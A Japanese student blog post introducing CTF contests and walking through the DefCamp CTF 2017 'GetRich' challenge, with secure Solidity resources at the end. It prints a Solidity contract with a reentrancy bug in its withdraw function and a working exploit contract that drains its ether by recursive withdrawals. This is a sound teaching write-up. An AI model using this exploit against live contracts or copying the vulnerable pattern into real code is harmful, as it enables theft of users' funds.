この記事はeeic Advent Calendar 2017の24日目の記事です。
正直CTFと絡めずにスマートコントラクトのセキュリティだけ掘り下げて書いてもいい(というかその方がブレずにいい)んですが、学科の方々(特にeeic2018)にはCTFにも興味持って欲しいんで、無理やりこじつけます。☆(・ω<)
CTF
皆様、CTFという競技はご存知でしょうか?
CTFはセキュリティ全般に関するコンテストであり、多くはjeopardy styleというクイズ形式を取っています。そして、その問題の種類は多岐に及びます。
だいたい
- Crypto(暗号)
- pwn(実行バイナリの脆弱性を攻撃)
- Reversing(バイナリ解析)
- Web(ウェブの脆弱性を攻撃)
- PPC(プログラミング)
- Forensic(データ修復等)
等の分野があります。
webの分野であれば、phpの==演算子での比較を利用した古の攻撃から、Angularへのテンプレートインジェクション等、新しい攻撃までなんでもあります。
Reversing分野であれば、FlashやVB6等の古のプログラムからAndroidアプリの解析までやります。
上に挙げた分野以外にも回路の配線図とプログラムを解析する問題や、Captchaをパスするbotを作る問題など、ハードウェアや画像解析に到るまで幅広い知識を求められます。
もちろん仮想通貨の分野も例外ではなく、仮想通貨に関するセキュリティの問題も少しずつ出題されています。今回はその中で出題された問題を一問取り上げて、スマートコントラクトへの攻撃手法の一つを紹介したいと思います><。
「攻撃手法を紹介なんて不謹慎だ!」みたいな意見は受け付けませんのでよろしくお願いします。
あと僕は学生でセキュリティにも仮想通貨についてそこまで詳しくないので優しいマサカリ待ってます。
スマートコントラクト
スマートコントラクトについては、定義が割れることもあってここでは説明しませんw
適当にリンク貼って置くので、よくわからない人はリンク先を読んでみてください。
スマートコントラクトとは何か? Smart Contractの定義
スマートコントラクト(ブロックチェーン 連続講義第7回)
Ethereum
Ethereumについても、すでにかなり有名ですし、記事もたくさんあるので説明しませんw
個人的にオススメするリンクを貼っておきます
Solidity
Solidityはコントラクト志向言語であり、高級言語で簡単にEthereum上のコントラクトを記述することができます。
Solidityで記述したコントラクトは、EVM(Ethereum Virtual Machine)という仮想マシン上で動作するバイトコードにコンパイルされて動作します。
https://solidity.readthedocs.io/en/develop/
https://github.com/ethereum/solidity
RemixというSolidity用のweb上のIDEもあります。ちょっと触るには便利です。
https://remix.ethereum.org/
実用例としては、
等があります。
ここでも適当にその他Solidity関連資料へのリンクを貼って起きます
HelloWorldはこんな感じです
pragma solidity ^0.4.11;
contract helloWorld {
function renderHelloWorld () returns (string) {
return 'helloWorld';
}
}
あとは気合いと雰囲気で感じ取ってください><
DefCamp CTF GetRich
ようやく本題です。今回はDefCampCTF 2017というCTFで出題されたGetRichという問題を見ていきます。
問題文
There is a new successful ICO in the market but we've also saw they do not care about the investor's money security.
Exploit this "victim" and get rich.
API: https://blockchain.dctf-quals-17.def.camp
Sol: https://blockchain.dctf-quals-17.def.camp/DctfChall.sol
Solidityのプログラム(残念ながらsyntax highlightはまだありません...)
pragma solidity ^0.4.4;
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract DctfChall is Owned {
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) public balanceOf;
modifier onlyWithMoney(uint256 amount) {
require(balanceOf[msg.sender]>= amount);
_;
}
function DctfChall(uint256 _supply, string _name, string _symbol, uint8 _decimals) {
if(_supply == 0) _supply = 13333337;
balanceOf[msg.sender] = _supply;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function invest(address to) payable {
require(msg.value > 0);
balanceOf[to] += msg.value;
Transfer(msg.sender, to, msg.value);
}
function transferFrom(address to, uint256 amount) {
require(amount > 0);
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
Transfer(msg.sender, to, amount);
}
function getBalance(address to) returns (uint256){
return balanceOf[to];
}
function withdraw(uint256 amount) onlyWithMoney(amount) {
require(amount > 0);
msg.sender.call.value(amount)();
balanceOf[msg.sender]-=amount;
Withdraw(msg.sender, amount);
}
function getContractAddress() constant returns (address){
return this;
}
function() payable { }
// Triggered when tokens are transfered
event Transfer(address indexed from, address indexed to, uint256 value);
//Triggered when token withdrawed
event Withdraw(address indexed to, uint256 value);
}
要は、このSolidityプログラムの脆弱性を突いて、お金持ちになればいいだけです。
function withdraw(uint256 amount) onlyWithMoney(amount) {
require(amount > 0);
msg.sender.call.value(amount)();
balanceOf[msg.sender]-=amount;
Withdraw(msg.sender, amount);
}
このwithdraw関数を見るとmsg.sender.callで外部コールを行なっています。
ここにはReentrancyに関するバグがあります。
このcall関数の部分でwithdraw関数を再帰的に呼び出すことにより、制御フローが
balanceOf[msg.sender]-=amount;
に到達する前に、なんどもwithdraw関数を呼び出せるため、所持金を超えてお金を引き出すことが可能となります。
つまり、この部分を攻撃するコードを書いてやればいいことになります。
今回は運営側が公開したwriteupがあるので、攻撃コードはそちらを確認することにします。
pragma solidity ^0.4.4;
import "../contracts/DctfChall.sol";
contract DctfExploit {
DctfChall public dctf;
address owner;
bool public performAttack = false;
function DctfExploit(DctfChall addr, address _owner){
owner = _owner;
dctf = addr;
}
function attack() {
performAttack = true;
dctf.invest.value(1)(this);
dctf.withdraw(1);
}
function getBalance() returns (uint256) {
return this.balance;
}
function getJackpot(){
dctf.withdraw(dctf.balance);
bool res = owner.send(this.balance);
performAttack = false;
}
function() payable {
if (performAttack) {
dctf.withdraw(1);
}
}
}
attack関数でまずethereumを引き出します。
function attack() {
performAttack = true;
dctf.invest.value(1)(this);
dctf.withdraw(1);
}
この時、先ほどのwithdraw関数中の外部コールにより、payable関数が呼ばれます。
このときに再帰的にwithdrawを行います。
function() payable {
if (performAttack) {
dctf.withdraw(1);
}
}
これによりアプリケーションが持つEthereumを本来以上に引き出すことができます。
以上でフラグが得られます。
このReentrancyのbugに対するExploitはThe DAO事件で用いられたハッキング手法とほとんど同じものだそうですね。
おわりに
セキュアなスマートコントラクトの作成に役立つリンクもちょっと紹介しておきます
Zeppelin-Solidity
楽にセキュアなSolidityを記述するならフレームワークを活用するのが良いです。
開発元のOpen-ZeppelinはAugurやOmisegoのコード監査も行なっており、信頼できるフレームワークだと思います。
Zeppelin-solidity
Zeppelin-solidityはまだERC20トークンのみの対応で、新しいERC223トークンには対応してませんが、今後対応予定みたいです。
ERC223 Support #512
Ethereum Smart Contract Security Best Practice
ConsenSys社によってセキュリティ的なベストプラクティスがまとめられてます。
Ethereum Smart Contract Security Best Practice
日本版の翻訳プロジェクトも進んでます
Ethereum Contract セキュリティ・テクニック&Tips
堅牢なスマートコントラクト開発のためのブロックチェーン[技術]入門
スマートコントラクトのセキュリティについての日本語書籍もあります。
結構しっかり書いてあって勉強になります。
堅牢なスマートコントラクト開発のためのブロックチェーン[技術]入門
Ethernaut
これは先ほどのZeppelin-Solidityを開発しているフレームワークを開発しているOpen-zeppelinが公開しているサイトです。
Ethernaut
CTF形式のもあるみたいです。
Ethernaut DEVCON3
脆弱なSolidityコードが与えられて、それをHackするというシステムになっています。ブラウザだけでサクッと遊べます。めっちゃ面白いです。超オススメです。どういうコードが脆弱なのかが身を以て体感できます。
evmdis
最後にCTFでsolidityのソースコードではなく、EVMのバイトコードが出題される世界になった時のために一応EVMのdissassemblerへのリンク貼っときますね٩( ᐛ )و。(今はsolidityのソースコード問題すらめったに出題されませんがww)